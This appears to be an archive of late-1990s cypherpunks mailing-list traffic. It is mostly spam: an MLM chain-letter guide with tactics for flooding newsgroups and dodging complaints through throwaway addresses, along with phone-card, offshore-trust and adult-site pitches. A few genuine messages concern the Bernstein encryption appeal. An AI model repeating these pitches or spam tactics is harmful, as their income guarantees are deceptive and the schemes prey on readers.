^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Dear Business Minded Friend,

Thank You for your posting. Please accept my invitation to examine
another exceptional business opportunity -- 

Try what ' $20+Internet ' can bring you! :)

Not a get-rich-quick plan. If you are willing to spend $20 and some 
free time with your computer to e-mail and advertise to people, then
you are welcome to join us. How much money you make is determined 
by your efforts. A serious participant could expect to earn around $50,000.

Send Your Request for FREE Information to: 




PLEASE ACCEPT MY SINCERE APOLOGY IF YOU RECEIVE THIS INFORMATION MORE THAN ONE TIME, AS IT RESULTED FROM YOUR POSTS IN MORE THAN ONE PLACE.

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^



The direct approach works best and quickest! 


HIGHLY RECOMMENDED !!!

But! As you may have noticed, this way often incurs complain or attack from
people without entrepreneurship. Advertising is always annoying to some 
people, but, there is always some other people just need the information 
advertised! This is why advertising industry is growing and growing...

So you are advised to take a little more step to set two e-mail addresses, 
the one permanent ( along with the postal address ), and the initial one 
may become invalid at any time. At the next time you cover a new group 
of postings, you may need to generate a new e-mail address for those 
interested people to send info request. Anyway, there are lots of free e-mail
services on the Net. If no secure permanent e-mail address available, you
should suggest your downlines to use snail-mail to contact you. Actually, 
as the two files contain detailed information, your downlines have little
necessity to contact you other than purchase one of the four business
reports.


---Postings on Newsgroups---

Posting on newsgroups can be quite beneficial, but can also be the source
of a great deal of junk mail, sent to you by merciless bulk mailers who
don't know how to appropriately send bulk-mailings.  These people often
use software specially designed to rip your email address off of your post
ings on a Newsgroup and place it in a large bulk emailing file.  These files 
are often resold to countless companies who will start using this file to 
email all sorts of junk to you.  The latest email I received from such a person, 
was a letter trying to get me to buy a machine that would generate a chemical 
you could rub onto you skin and it would cure a whole plethora of illnesses, 
among such outrageous claims, this chemical would cure the common cold, 
acne, asthma, AIDS, cancer, etc.. the list went on.  Not only am I certain that
this chemical is illegal (it claimed to cure you by destroying viruses and illness 
"by suffocation"), but sounded quite lethal.  While this type of email might be 
good for a laugh (to see how naive people try to take you for), when you start
 receiving hundreds of them every week, it is annoying, and frustrating.

Before I tell you which Newsgroups are good to post this opportunity on, 
I will tell you how you can trick these bulk e-mailers' software package 
into sending themselves an "undeleiverable mail" message.  When you place
a posting on a usenet group, try not to type your actual email address
anywhere in your posting.  You can type such things as "In an effort to 
reduce junk email I have placed a % sign where @ should be, please replace 
the % sign for an @ sign when replying to this email address"  So your 
email address (if it was john@doe.com) would appear after this message as
john%doe.com.  This can help reduce your junk mail significantly, and rest
assured, you will get junk mail from these unscrupulous e-mailers.

Now that you are armed with this you are ready to place your postings.  If 
some junk email doesn't bother you, you can just skip the above step (like I 
usually do.  It is far too easy to just hit DELETE to get rid of unsolicited email). 
Still, there are some people who will flame you. There is no getting around that. 
A workplace hazard I suppose :)



Good Newsgroups to place your ad for this opportunity.  (I have had goodresponses
from every one of the following groups):

alt.business
alt.business.accountability
alt.business.import-export.computer
alt.business.misc
alt.business.multi-level
alt.consumers.free-stuff
alt.business.internet.commerce
alt.make.money.fast
alt.misc
alt.alt
alt.misc.jobs.offered
alt.misc.misc
alt.business.home.pc

There are hundreds of others, but the idea here is to try and focus your 
postings to attract those people most likely to be interested in this
opportunity.  If you begin posting this opportunity in such outrageously
unrelated places such as alt.lucid.dreams, you are likely to get flame email.
So try to stay within the realm of business and "misc." groups.alt.business.
home.pc  is a HOT place to post this ad, I have had over 20 replies from 
this group within the last two days when I posted my ad.

What should your posting consist of?  I tend to not like posting the whole 
program on the newsgroups.  I suppose you could do that, I suggest against it. 
It is far better to obtain a person's email address after they write you to request 
the program.  That way you will be able to stay in touch with the person, and 
also gauge how successful a particular posting is before the snail-mail for
orders starts to come in.  You will then also be able to tell which postings are
generating a good response, which are not generating responses and which
places are really HOT.

I typically write the following:
---------------------------------------------------------------------
SUBJECT:           MAKE 1997 *YOUR* YEAR.
or:  SUBJECT:      INVEST IN YOURSELF THIS YEAR.
---------------------------------------------------------------------

Posting:
-----------
Why work for someone else when you can be working for yourself, making a 
very substantial income?  If I offered to show you a program in which you
could turn a $20 investment into thousands of dollars, would you be 
interested?  Would you be interested if I offered you information on this 
program for FREE?

Here's a look at the program I want to offer you this year:

*       Proven track record of success
*       Guaranteed program to raise capital fast (in about 90 days)
*       Quickly establish a "snowball growth" effect
*       Operate this business from home, office, or store
*       Completely Legal and "scam-free" under Lottery and Postal laws
*       No person-person selling
*       No personal contact with your customers if you don't want to
*       Learn how to harness the power of the Internet to your advantage
*       Obtain financial freedom in a very short period of time
*       People are scrambling to obtain information on this program
        (some people get on the Internet to LOOK for this program)
*       Originator of this program does not receive a dime for your
         participation
*       No-one above you  "makes all the money"

The 90-day clock to financial security is already working




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 12733239@mci2000.com
Date: Sun, 7 Dec 1997 22:45:03 -0800 (PST)
To: FreePhoneCard@inter.net.com
Subject: FREE!! $10.00 Long Distance Phone Card!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Dear Friend,

How would you like to receive absolutely.....

FREE! free! FREE! free! FREE! free! FREE!  

..a FREE $10.00 Long Distance Phone Card!!!

FREE! free! FREE! free! FREE! free! FREE!

Plus FREE Information On How You Can Create
THOUSANDS Of DOLLARS IN MONTHLY INCOME...GIVING 
THESE $10.00 FREE PHONE CARDS AWAY!!!
--------------------------------------------------------

PLUS...Save On Every Long Distance Call!

9.9 Cents Per Minute long distance flat rate...
Save on every long distance call at only 9.9 cents per minute!!!
(24 hours a day & 7 days a week!)
Long distance rates 9.9 cents per minute!
AT&T, MCI and Sprint can't touch this!
--------------------------------------------------------

800/888 Telephone Number For Your Home! Same Low Rate!

Avoid calling home collect!  Perfect for kids in college or
or even use it to check messages.  Your cost for this is the 
same, 9.9 cents per minute!  At&t charges a $10.00 monthly
service fee for this feature.
--------------------------------------------------------

Easy To Understand Billing!

No more confusing discount plans, minimum usage requirements,
day/night plans, mileage add-ons, circle plans, etc.  You always
get the same great flat rates!  And you dial direct just as you
do now with MCI, Sprint, Or AT&T.
--------------------------------------------------------

No-Surcharge Calling Card!

Compare, save up to 90%!  (vs. MCI, Sprint, AT&T)
Pick your own card number and PIN number for convenience.
--------------------------------------------------------

Why Not Check Us Out?

One more thing...Don't confuse this with phone 'clubs' who
charge a monthly fee ($10-$50) for the 'rights' to get a
discount.  Remember, you don't have to join anything to 
receive these great communication services.  Such as long
distance service, paging and calling cards!
--------------------------------------------------------

Make $100.00 Cash Immediately-And Create Thousands Of
Dollars In Monthly Income!

Just spread the good news!  Referring friends is no different
than what you already do everyday of your life.  How many
times have referred your friends to a favorite restaurant
or a store?

Have these businesses ever sent you a check? NO! 

WE DO!!  Just for telling people how to SAVE and MAKE MONEY!!
--------------------------------------------------------

We Do It All For You!

Just hand out brochures or Free Calling Cards and earn
thousands every month.  When prospects call us to inquire,
our trained professionals will take care of the rest.
--------------------------------------------------------

Why Everyone Loves Us!

*No enrollment cost!
*Our products sell themselves!
*No inventory!
*No investment required!
*This is not a fad!
*You don't have to 'sell"!
*Perfect for fund raising!
*FREE PAGERS!

(Print This Order Form and Cut Here at ~~~~ Line)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Dear Wayne,

Please send me a $10.00 FREE Long Distance phone card.  
I would also like to receive FREE information about the 
9.9 cents per minute long distance flat rate (24 hours
a day & 7 days a week).  Also send me FREE information 
about Prepaid Calling Cards and Smart Cards with enhanced 
features (such as voice/fax mail, pager notification,
conference calling and much more). Also send me info on 
how I can make THOUSANDS a month giving away FREE $10.00 
Calling Cards!!

Mail to:

CarProInc           Dept. LD
2121 Golden Centre Lane #40--9
Gold River, CA  95670
USA

***Due to the high response, include a SELF ADDRESSED
STAMPED ENVELOPE to ensure delivery of YOUR FREE LONG
DISTANCE PHONE CARD and additional FREE INFORMATION.
Thank You.

Name____________________________________________

Address_________________________________________

City______________________State_______Zip_______

Country_________________________________________

E-Mail Address__________________________________
07DEC97
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(Print This Order Form and Cut Here at ~~~~ Line)












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Scoop@www.kornet.nm.kr
Date: Mon, 8 Dec 1997 02:43:40 -0800 (PST)
To: info@pressx222.com
Subject: Pamela Anderson : EXCLUSIVE !
Message-ID: <83100301925.AB42044@pressx222.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
PAMELA ANDERSON & TOMMY LEE HAVING SEX !!!
Sexuality explicit video & screenshots !
This is NOT simulated sex
This is NOT Playboy "best of" video
This is REAL deal, raw and uncensored !
Go to http://151.196.201.51/pamela.html

IF YOU WANT YOUR NAME REMOVED FROM THIS LIST, reply to :
removelist@mlweb.com

</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: promo54@hotmail.com
Date: Mon, 8 Dec 1997 08:51:52 -0800 (PST)
To: promo54@hotmail.com
Subject: FREE FOR YOUR SITE !!!
Message-ID: <199712081636.LAA28350@mail1.auracom.net>
MIME-Version: 1.0
Content-Type: text/plain


///////////////////////////////////////////////////////////////////////////////
This Message is Directed Towards Adult Webmasters Only!!!!!
If you wish to be removed, please reply with the subject "Remove" and this
software will automatically block you from future mailings.
////////////////////////////////////////////////////////////////////////////////

Hello Adult Webmaster,

I came across your website and found that you may be interested in our
services...Placing 011,800,900 PHONESEX numbers on your site!(Free to
WebMasters) 

Looking to make extra income from your adult site???? You'll make $$$ 
off every minute someone calls your number. All you do is advertise 
the number on your site!  We supply you with 900, 800 or 011 number(s),
Your choice of Straight, Gay, or Fetish lines available, online call 
stats(for tracking your income) and full customer service. 
FREE FREE FREE 

NOW SUPERFAST STARTUP ONLINE:    http://www.cyberfun.ca

Thanking you in advance! 

Sincerely,
Chris Rose
Account Executive
Rosenbrewer Communications
chris@cyberfun.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: fasc@expno.com
Date: Mon, 8 Dec 1997 11:59:20 -0800 (PST)
Subject: First American Scientific Corp.
Message-ID: <199712081759.MAA21404@power.expno.com>
MIME-Version: 1.0
Content-Type: text/plain


First American Scientific Corporation has developed new technology that
we feel is of global significance to problems arising from human waste
disposal activity.  Full details are available at
http://www.expno.com/fasc  .


The technology, which is built into our Kinetic Disintegration System, 
is called Kinetic Disintegration Technology (KDT) and incorporates standing 
sound waves and kinetic energy to disintegrate virtually all non-metallic
substances into powders as fine as -400 mesh.  This means that previously
problematic recyclables like rubber (tires), gypsum (drywall), plastics,
insulation, glass, and bio-solid wastes can be cost-effectively
"micronized" and separated for re-use as industrial raw materials.


This information will be of particular interest to investors, municipal
engineers, agricultural research facilities, waste disposal engineers,
recycled product developers, and others who have an interest in
solving the crises being generated by worldwide waste disposal.

Thank you for taking the time to read this letter.

Investor Relations
First American Scientific Corporation
NASD EBB:FASC

Please reply with "remove" in the subject line for easy and permanent removal.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: promo54@hotmail.com
Date: Mon, 8 Dec 1997 12:25:44 -0800 (PST)
To: promo54@hotmail.com
Subject: FREE FOR YOUR SITE !!!
Message-ID: <199712081934.OAA21594@barbera.ai.net.>
MIME-Version: 1.0
Content-Type: text/plain


///////////////////////////////////////////////////////////////////////////////
This Message is Directed Towards Adult Webmasters Only!!!!!
If you wish to be removed, please reply with the subject "Remove" and this
software will automatically block you from future mailings.
////////////////////////////////////////////////////////////////////////////////

Hello Adult Webmaster,

I came across your website and found that you may be interested in our
services...Placing 011,800,900 PHONESEX numbers on your site!(Free to
WebMasters) 

Looking to make extra income from your adult site???? You'll make $$$ 
off every minute someone calls your number. All you do is advertise 
the number on your site!  We supply you with 900, 800 or 011 number(s),
Your choice of Straight, Gay, or Fetish lines available, online call 
stats(for tracking your income) and full customer service. 
FREE FREE FREE 

NOW SUPERFAST STARTUP ONLINE:    http://www.cyberfun.ca

Thanking you in advance! 

Sincerely,
Chris Rose
Account Executive
Rosenbrewer Communications
chris@cyberfun.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paparazzi@www.kornet.nm.kr
Date: Mon, 8 Dec 1997 09:08:30 -0800 (PST)
To: info@netscoop50.net
Subject: DIANA : The Unrevealed Pics (NEW URL)
Message-ID: <83100301925.AB42044@netscoop50.net>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
Note : If you want your name permanently REMOVED from this list, please e-mail :
removelist@mlweb.com

For the first time on the internet, here are the UNREVEALED pics of DIANA !
Given the sensitive nature of the material involved, only adults will access the site.
Go to http://151.196.201.51/diana/



</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: opportunity@aol.com
Date: Mon, 8 Dec 1997 17:50:50 -0800 (PST)
To: Friends@worldwide.com
Subject: FUN FUN FUN!!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


I'm talking about making money!!  Getting checks in the mail is FUN!! 

For details visit:
http://www.InternetEnterprises.com/growth/60,001.html







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Homebiz@Nstar.net
Date: Mon, 8 Dec 1997 19:17:36 -0800 (PST)
Subject: ATTN:  Boston-Finney Distributors !!!
Message-ID: <199712090316.VAA09965@polaris.nstar.net>
MIME-Version: 1.0
Content-Type: text/plain



Dear Boston Finney Representative:

Before you LOOSE your Boston Finney Downline to shear FRUSTRATION,
you need to consider protecting your OWN success and look at the
MLM ELECTRICITY program offered by NSI.

NSI is a 1.5 BILLION dollar debt free company that has invested
$100,000,000.00 into their infra-structure for their Electricity
Division.

NSI distributors in our organization get a FREE:

1.  Web Page
2.  800 Opportunity Line
3.  Fax-on-Demand 
4.  Conference Call Line to access
5.  Training Call Line to access
6.  With many more marketing tools being developed now!

If interested email me your name, area code, phone number and the
best time to call you.

Best Regards,
BRAD ELDER

P.S.  It's not just electricity!  At "Your Option" you can also profit
from Natural Gas, Web TV, Cable, Internet Access, Digital Satellite TV,
Home Security, Cellular, Paging, Telephone, Voice Mail and World Wide
Electronic Home Shopping Internet Commerce.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 12355302@32245.com
Date: Tue, 9 Dec 1997 01:35:00 -0800 (PST)
To: members.only.com@ns1.castlenet.com
Subject: Our guest Area is the Best...
Message-ID: <995115.568@XXXluv4u.com>
MIME-Version: 1.0
Content-Type: text/plain


Filled with the hottest XXX action on the net. See it NOW for FREE...

http://www.fleshgrotto.com/guests/

We feature Streaming XXX videos, LIVE feeds, huge XXX galleries, 
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http://www.fleshgrotto.com/guests/




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sam12435@aol.com
Date: Mon, 8 Dec 1997 22:32:54 -0800 (PST)
To: sam12435@aol.com
Subject: FROM FLORIDA *** FRESH CITRUS FRUIT AND GIFT BASKETS
Message-ID: <0000000000.AAA000@aol.com>
MIME-Version: 1.0
Content-Type: text/plain



                     FOR ORDERS & INFORMATION CALL

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///////////////////////////////////////////////////////////////////////////////
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////////////////////////////////////////////////////////////////////////////////








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rozaa@oulu.fi
Date: Mon, 8 Dec 1997 21:24:51 -0800 (PST)
To: rozaa@oulu.fi
Subject: XXX LIVE SEX
Message-ID: <199712081541EAA37498@post.253.143.51>
MIME-Version: 1.0
Content-Type: text/plain


Victoria's Secret Passage to XXX SEX!!!

*Free Live Video!!! No cost no memberships!!! Just free!!
*Erotic Stories
*XXX LIve SEX SHOWS!!!
*1000's Free Pics!!!
*Personal Dating Services!
*Adult Videos
*Cd-Rom
*Men's Pics
*Chatrooms
*Message Boards

And Lots More!!!

http://host3495.homecom.com

AOL Click Here!

You must be 21 or older.

If you would like to be removed  contact us at: xstacy@hotma




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bways@earth.spearhead.net
Date: Tue, 9 Dec 1997 00:18:44 -0800 (PST)
To: bways@earth.spearhead.net
Subject: Why NOT have an Offshore Trust ??
Message-ID: <199712090710.BAA30433@earth.spearhead.net>
MIME-Version: 1.0
Content-Type: text/plain


It's perfectly legal and within all our rights to have our savings in an offshore trust!  You too can keep your assets  judgement-proof, accessible and completely anonymous by owning a trust in a foreign bank. It's how the rich have been procting their assets for all these years.

Got no money, you say? Here's a good opportunity. You can earn really well, and quickly, as a representative in this very interesting business. All earnings are deposited directly  into your trust. Doesn't get any better than that! Easy to learn reports & training course are available.

Now you can offer Information to friends about tax havens & trusts, assset protection, offshore business & banking, completely anonymous International credit cards, and lowest-rate prepaid national and International calling cards. 

Or - just own a trust... It's worth it. It makes you feel really good....Like your money is not just being wasted, or up for grabs by anyone with enough determination to take it away...

Know about this now! http://209.136.73.164/bways/offshoretrust

To be removed from this list, simply hit reply...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Tue, 9 Dec 1997 01:52:34 -0800 (PST)
To: bernstein-announce
Subject: Press URL's from today's Bernstein appeal hearing
Message-ID: <199712090930.BAA06481@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Today's hearing in the Ninth Circuit Court of Appeals went very well.
The judges clearly understood the case -- both the picky legal
details, and how it fits into the general social issue of encryption
regulation.  While we can't predict their decision (or even when it
will come out), we are cautiously optimistic.

We'll put transcripts of the hearing up on the Web as soon as we get
them from the court reporter (in days or weeks).

You may want to examine some early press coverage of the hearing at:

http://www.nytimes.com/library/cyber/week/120997encrypt-bernstein.html
http://www.news.com/News/Item/0,4,17114,00.html
http://www.zdnet.com/zdnn/content/zdnn/1208/261695.html

(The Times requires a username/password; use "cypherpunks" and "cypherpunks"
if you don't want them to track your accesses.)

	John Gilmore
	Electronic Frontier Foundation





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: k8pm@plastic.com
Date: Mon, 8 Dec 1997 21:54:20 -0800 (PST)
To: allegro@plastic.com
Subject: $100,000 A Year Guarateed, or your money back.
Message-ID: <199712090558.HAA13199@alpha.netvision.net.il>
MIME-Version: 1.0
Content-Type: text/plain



Dear member

A chance of a lifetime!

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Please read the letter you can benefit out of!

Make a $100,000 a year income 100% guaranteed.Or your money back.
----------------------------------------------------------------
No experience necessary,fully step by step instructed program.
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---------
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-----------
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--------------------------------------------------------------------------
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----------------------------------------

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----------------
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Free 50 million E-Mail addresses yours to keep
Free submit your site to over 1200 search engines
And there more to mention get to the site to see all list of more
items included with your package.

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----------------------------------------
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are just waiting for you to register your name, and start running your own
business at no time. 

The businesses
--------------

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------------- 
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You become an agent of the Global Lottery Network make a high profit 
on sell's of lottory tickets worldwide,and play lotto free.You receive 
your own free web page and a lotto agent ID# complete details on site.
With this business along you'll make easy $100,000 a Year you must get
to the site below and read the benefits.

Business # 2.
-------------
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-------------
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Make a high income on referrals to the 600 plus adverting Inc.plus you
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Write me for more info!<mailto:allegro@mail.plasticcombs.com>

Thank you for taking the time to read the letter.

Sincerely,

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wildcard@bittsnwhitts.com
Date: Tue, 9 Dec 1997 11:29:18 -0800 (PST)
To: friend@public.com
Subject: "MAJOR ANNOUNCEMENT"
Message-ID: <2463579313249.GAA7082000@herennow.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><HTML><PRE>
</P><P ALIGN=CENTER><FONT  COLOR="#0000ff" SIZE=4>
 <B>"THE PLASTIC MONEY" 
 </FONT><FONT  COLOR="#000000" SIZE=3>QUESTION:</B>
How would you and your Family like to have a Visa <B>"Cash"</B> Card that has;
<B>No Credit Check - No Qualifying - No Interest - and
<FONT SIZE=4><U>NO PAYMENTS!</U></B>
<FONT SIZE=3>is accepeted around the world and best of all,
IT EARNS YOU MONEY!
just for <B>"Telling"</B> NOT <B>"Selling" </B>others about it!

   <A HREF="http://www.bittsnwhitts.com/wildcard/345/index.htm">
  http://www.bittsnwhitts.com/wildcard/345/index.htm</A>
While at the site,  be sure to click on <B>Print Application</B> for more information.

Plus Call: 1-800-995-0796 ext 1288 and just listen,.... ask them about the NEW Executive Starter Kit that makes an already
great program even better!!!
Like what you hear ........Tell 'em  ID# 345 sent you, .... then tell your Friends!
Thank You

===========================================================
To remove your address from our mailing list, you must reply to:
remove@bittsnwhitts.com    and write remove in the subject
===========================================================.
</PRE></HTML>
</PRE></HTML>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joseph Schlesinger <Joseph_Schlesinger@CORP.MORTONINTL.COM>
Date: Tue, 9 Dec 1997 11:43:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: BOY, DID I GET A WRONG NUMBER!
Message-ID: <s48d4a2c.007@CORP.MORTONINTL.COM>
MIME-Version: 1.0
Content-Type: text/plain


Hello!

For some inexplicable reason, I've been getting messages from you. 
Actually, I have received a HUGE bunch of messages both last Tuesday
(2 Dec) and today (9 Dec).  I don't consider myself very knowledgeable
about the technical aspect of e-mail or computer networking, which is
especially ironic, since it appears my name has been inserted as a BC
(blind carbon) on messages sent to the Debian Development mailing lists
& the ISS mailing lists.  I've also received unsolicited information about
software that will enable me to bulk e-mail 27 million U.S. households,
special offers on fresh citrus fruits from Florida, a consumer survey
from an exporter of sunglasses in China, & an invitation to visit some sort
of XXX adult web site -- well, I don't even want to get into that one! 
Obviously, this looks like the work of some prankster.

I've followed the proper procedures for getting "unsubscribed" from the
Debian & ISS lists, but apparently the list managers of those
organizations are unable to find me in their database.

I think I know how this might have started.  I'm in Chicago -- a
Northwestern University alum -- & I e-mailed to a qualified list of students
a message about my hobby.  (I'm a 20-year barbershop singer & wanted
to invite these individuals to one of our weekly chorus meetings.)  It's
possible that one of these students may have BC'ed me into some mailing
lists as some kind of joke -- I don't know.

In any event, if there's anything you want to know about barbershop
harmony, get in touch with me & I'll answer your questions.  If not, it's
been nice hearing from you, but I'd appreciate being removed from your
address book.  Thanks for your help.

Regards.

--Joseph Schlesinger
   joseph_schlesinger@corp.mortonintl.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cindy Cohn <Cindy@mcglashan.com>
Date: Tue, 9 Dec 1997 15:54:57 -0800 (PST)
To: kwalker@netscape.com
Subject: Court TV
Message-ID: <199712092314.PAA16202@gw.quake.net>
MIME-Version: 1.0
Content-Type: text/plain


Court TV informs me that they will hold the tape of the argument until a
decision is reached and will only show it afterwards.  Also, they won't send
us the whole thing, even after they've aired the segment, only the parts
that make it into their program.

Cindy

************************ 
Cindy A. Cohn                                                               
McGlashan & Sarrail, P. C.
177 Bovet Road, 6th Floor                                            
San Mateo, CA  94402
(415) 341-2585 (tel)
(415)341-1395 (fax)
Cindy@McGlashan.com
http://www.McGlashan.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Wheaton <wheaton@well.com>
Date: Wed, 10 Dec 1997 14:15:04 -0800 (PST)
To: Cindy Cohn <kwalker@netscape.com
Subject: Re: Court TV
In-Reply-To: <199712092314.PAA16202@gw.quake.net>
Message-ID: <3.0.1.32.19971209170118.006b8c7c@mail.well.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:09 PM 12/9/97 -0800, Cindy Cohn wrote:
>Court TV informs me that they will hold the tape of the argument until a
>decision is reached and will only show it afterwards.  Also, they won't send
>us the whole thing, even after they've aired the segment, only the parts
>that make it into their program.

Any unaired portions are covered by California's shield law (Cal Const. Art
I, section 2(b), and Evidence Code section 1070, as unpublished
information.  Its production cannot even be compelled, save in limited
circumstances to criminal defendants or where the media entity is itself a
party to the action.

Seems odd, particularly where the footage is of something that occurred in
a public building and was open to the public, but defending the right of
reporters *not* to be partners with any other person or party, litigant or
government, is a principle they hold dear.

Personally, I was shocked (and embarrassed to be shocked) to see a camera
in federal courtroom.  Thought that had been done away with the Judicial
Conference terminated the trial program here in California and elsewhere.
Didn't occur to me that each Court of Appeals can make up its *own* damn
rules, thank you very much.

--jim




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: return@mail2.vspn.net (list)
Date: Tue, 9 Dec 1997 19:55:33 -0800 (PST)
To: list <return@mail2.vspn.net>
Subject: Free Net Football Game
Message-ID: <971109212426.027999>
MIME-Version: 1.0
Content-Type: text/plain


http://www.vspn.net is the WEB site of an all new FREE multiplayer football 
game for the internet.

http://www.vspn.net/DownloadArea.htm   for download.

Play the wide receiver, quarterback, or fullback while others from all 
over the world play their positions. All in real-time 3D first person
perspective. And it's FREE for the remainder of the beta test period.

You like football? You like games? You'll LOVE VSPN. 

No need to reply as this is the only notice we will be sending.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "http://www.musicblvd.com/" <manager@musicblvd.com>
Date: Wed, 10 Dec 1997 22:45:23 -0800 (PST)
To: musicblvd@sparklist.com
Subject: A GIFT FROM MUSIC BOULEVARD
Message-ID: <3.0.32.19971210161433.00833100@mail.sparknet.net>
MIME-Version: 1.0
Content-Type: text/plain



 Dear Music Boulevard Customer,
 
 We would like to wish you a Happy Holiday season from Music Boulevard
 and give you a token of our appreciation for shopping with us.
  
 Please accept our holiday gift of ***$3.00 dollars*** that will be
 credited to your Music Boulevard account when you follow the link
 at the end of this email message.
  
 Don't forget if you are shipping your order within the US you can ship
 any quantity for only $1.00!
 
 Here are some of the exciting events and services available on Music
 Boulevard right now:
 
 HOLIDAY GIFT SHOP
 To ease your shopping stress, we've opened our own festive Gift Shop, 
 filled with spirited holiday specials and gift recommendations .  
 Visit our Shop today for gift ideas for everyone on your shopping
 list.
  
 
 FREE MUSIC FROM RHINO!
 Give a gift and get a gift from Rhino Records!  With your order of any
 specially-priced Rhino CD Gift Set , you'll receive a free Holiday
 Music CD featuring The Ramones, Jackson 5, Doris Day and the
 Waitresses among others --  25 tracks in all on this eclectic sampler 
 of holiday hits!
 
 Hurry while supplies last!
 
 HOLIDAY MUSIC SALE!
 Toast the holidays with special savings on popular
 Christmas recordings in every genre!  With hundreds of titles to
 choose from, you are sure to find the perfect music to entertain your 
 holiday party guests *and* keep the kids in the spirit of the season.    
 
 GIFT RECOMMENDATIONS
 Looking for the perfect gift?  Our staff of music lovers have written
 a list, and we've checked it twice!   Check out the special Staff Gift
 Recommendations area of our gift shop to find musical gift ideas for
 all the grown-ups, teens and tots on your list.  Our featured titles
 include the hottest new releases, classic recordings, rising stars,
 and eclectic recommendations to suit anyone's tastes! 

 BOXED SETS
 If our staff hasn't pinpointed perfect gifts for the folks on your list, 
 step into our Boxed Set sale, and let your holiday shopping take care 
 of itself.  You can choose from hundreds of sale-priced sets by jazz, 
 rock, classical and country music legends!  
 
 GIFT CERTIFICATES
 No time to shop this year?  Now that your friends and family members
 finally have email accounts, send them Music Boulevard Gift Certificates.
 Available in any amount, gift certificates can be redeemed without
 turning off the computer and starting up the car!
 
 ONE DOLLAR SHIPPING
 Speaking of cars, this year you can have all your music gift
 selections shipped to your own home for just $1,* That's less than 
 you'd spend on gas to drive to the mall (and you don't have to brave 
 the weather or the crowds either)! *$1 SHIPPING is available for all 
 U.S. Orders shipped by standard USPS; upgraded shipping methods will 
 incur an additional charge.
 
 GIFT SHIPPING
 Can't make it home for the holidays?  We'll send your gifts home for
 you with your own personal message included!  GIFT SHIPPING is 
 available at no extra charge -  just $1* for U.S. Orders.   
 
 Last-minute shoppers can take advantage of our EXPRESS DELIVERY
 shipping option - we can send your U.S. orders by FedEx 2-Day or 
 Overnight Delivery to make sure your gifts arrive in the "nick" of time!
 
 
 NEW STORE FEATURE -- ONLINE ORDER STATUS
 
 Have you recently placed an order with us?  Now you can check your
 order's status directly online with our new ONLINE ORDER STATUS
 feature. No more wondering if you're order has shipped yet -- we'll 
 give you the facts in an instant!
 
 NEW RELEASES
 
 Gift Alert:  We've got the newest releases from pop superstars
 Babyface and Celine Dion, rap and hip-hop favorites Will Smith and Tupac,
 hard-rockers Metallica and Led Zeppelin, rising stars Hanson and
 Sublime, and country royalty Garth Brooks and Shania Twain, as well 
 as a brand new album from the legendary diva herself, Barbra Streisand! 
 Don't forget to reward yourself for your generous shopping efforts by 
 getting your very own copy of the historic 2-CD 36-song tribute to the 
 late Diana, Princess of Wales, featuring songs by Toni Braxton, Eric 
 Clapton, and Puff Daddy along with new tracks from Annie Lennox, 
 Aretha Franklin, Rod Stewart and many, many others. 
 
 OUR GIFT TO YOU
 
 To thank you for being a loyal Music Boulevard customer, we'd like to
 send you a small holiday gift *** $3 store credit***, good towards
 anything  in the store, no restrictions.  Follow the URL below (or cut and
 paste it into your browser's location bar) to claim your Holiday gift,
 with our best wishes for a joyous holiday season.
 
 http://www.musicblvd.com/holidaygift
 
 Make sure that you stop by soon.  This coupon will expire on Dec. 31,1997.
 
 Happy Shopping!
 
 --------------------------- 
 TO UNSUBSCRIBE   
 --------------------------- 
  
 To unsubscribe from this mailing list, send an Email to: 
 remove-musicblvd@sparklist.com 
 and you will automatically be removed from this list. 
  
  
 T H A N K S  F O R  S H O P P I N G  A T  M U S I C  B O U L E V A R D !






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: chris moss <chrism@mailwiz.com>
Date: Wed, 10 Dec 1997 19:21:43 -0800 (PST)
To: chrism@genesisnetwork.net
Subject: Spam Kings Wanted !
Message-ID: <1.5.4.32.19971211032123.009380dc@mail.mailwiz.com>
MIME-Version: 1.0
